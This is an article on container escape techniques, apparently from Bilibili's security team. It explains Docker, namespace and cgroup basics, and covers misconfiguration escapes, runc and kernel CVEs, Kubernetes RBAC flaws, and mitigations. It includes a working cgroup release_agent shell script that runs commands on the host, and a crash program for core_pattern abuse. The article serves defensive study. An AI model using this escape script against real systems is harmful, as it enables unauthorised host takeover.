Container Escape Techniques, Exploits, and Mitigation Strategies

Background: In Bilibili's internal red‑team/blue‑team exercises, attackers often break out of containers and need to escape to the host to execute arbitrary commands, read/write files, or control other containers. Studying container escape techniques also helps improve enterprise intrusion detection and HIDS capabilities.

Before exploring escape methods, a solid understanding of container fundamentals is required.

Container Basics : Containers implement OS‑level virtualization, sharing the host kernel while providing isolated environments via Linux namespaces and cgroups. Compared to traditional VMs, containers are lightweight.

Docker Architecture : The Docker stack consists of the Docker client, Docker daemon (dockerd), containerd, containerd‑shim, and runc. The client communicates with the daemon via the Docker socket; containerd manages container lifecycles; containerd‑shim acts as an intermediary; runc actually starts and stops containers.

Namespaces : Provide isolation for UTS, user, network, PID, and other resources, making a container believe it runs on an independent host.

Cgroups : Control groups enforce resource limits. Key concepts include tasks (processes), subsystems (resource controllers), and hierarchies (tree of cgroups).

Container Escape Categories : The article classifies common escape techniques into four groups:

Misconfiguration of the container environment.

Vulnerabilities in Docker components.

Linux kernel vulnerabilities.

Kubernetes configuration errors.

1. Misconfiguration‑Based Escapes

Examples include mounting the host /proc directory, abusing cgroup release agents, and using ptrace to inject code into host processes.

Example C program used to trigger a core‑pattern execution:

#include
int main(void) {
    int *a = NULL;
    *a = 1;
    return 0;
}

Example shell script that leverages a cgroup release agent:

set -uex
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
sleep 2
cat "/output"

By mounting /proc and modifying /proc/sys/kernel/core_pattern , a crashing program inside the container can cause the host kernel to execute an attacker‑controlled script, achieving host‑level code execution.

2. Docker Component Vulnerabilities

The article highlights CVE‑2019‑5736 in runc (affected Docker versions ≤18.09.2, runc ≤1.0‑rc6). Exploits overwrite the host docker‑runc binary, allowing arbitrary command execution on the host.

3. Linux Kernel Vulnerabilities

Since containers share the host kernel, classic kernel privilege‑escalation bugs also apply. The article mentions DirtyCow (CVE‑2016‑5195) as an example that can be leveraged for container escape.

4. Kubernetes Misconfiguration Escapes

Two scenarios are described:

Leakage of the Kubernetes admin kubeconfig file, enabling an attacker to gain full cluster control.

Assignment of high‑privilege ClusterRoleBinding to default service accounts, allowing privilege escalation and cluster takeover.

Both rely on inadequate RBAC policies and improper handling of sensitive configuration files.

Mitigation Recommendations

Restrict capabilities and shared namespaces for containers/pods (avoid privileged containers and host PID namespace).

Prohibit mounting sensitive directories such as /proc or host root.

Upgrade Docker, runc, containerd, and other components to versions without known escape vulnerabilities.

Secure and limit access to Kubernetes admin configuration files.

Apply the principle of least privilege to RoleBinding/ClusterRoleBinding; avoid granting cluster‑admin to service accounts unless absolutely necessary.

Employ image scanning, runtime security monitoring, security baselines, and Kubernetes audit logs to detect suspicious activities (e.g., ptrace syscalls).